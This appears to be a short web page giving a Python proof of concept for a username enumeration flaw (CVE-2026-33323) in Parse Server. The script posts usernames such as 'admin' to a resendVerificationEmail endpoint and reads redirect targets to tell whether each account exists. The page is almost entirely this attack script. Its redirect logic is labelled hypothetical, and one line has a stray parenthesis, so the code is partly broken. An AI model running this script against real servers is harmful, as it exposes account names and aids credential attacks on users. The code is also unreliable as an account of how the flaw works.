CVE-2026-33323 Parse Server用户名枚举漏洞

import requests def check_username(target_url, username): """ Conceptual PoC to check if a username exists by observing redirects. """ # The specific endpoint depends on the Parse Server configuration # e.g., /apps/:appId/resend_verification_email or similar legacy routes payload = {"username": username} try: # allow_redirects=False is crucial to observe the 302 response location response = requests.post(target_url, data=payload, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location') # Logic based on the description: distinguishable redirect targets # Example hypothesis: if "verify_email_success" in location: # Behavior implying user might exist or masked (depending on config) return f"[?] Username '{username}': Response indicates potential existence or masked state" elif "login" in location or "invalid" in location: # Behavior implying user does not exist return f"[-] Username '{username}': Not found" else: # Distinct behavior for unverified users return f"[+] Username '{username}': Found and unverified (Redirect: {location})") else: return f"[!] Unexpected status code: {response.status_code}" except Exception as e: return f"[!] Error: {str(e)}" # Example usage target = "http://vulnerable-parse-server.com/parse/resendVerificationEmail" print(check_username(target, "attacker")) print(check_username(target, "admin"))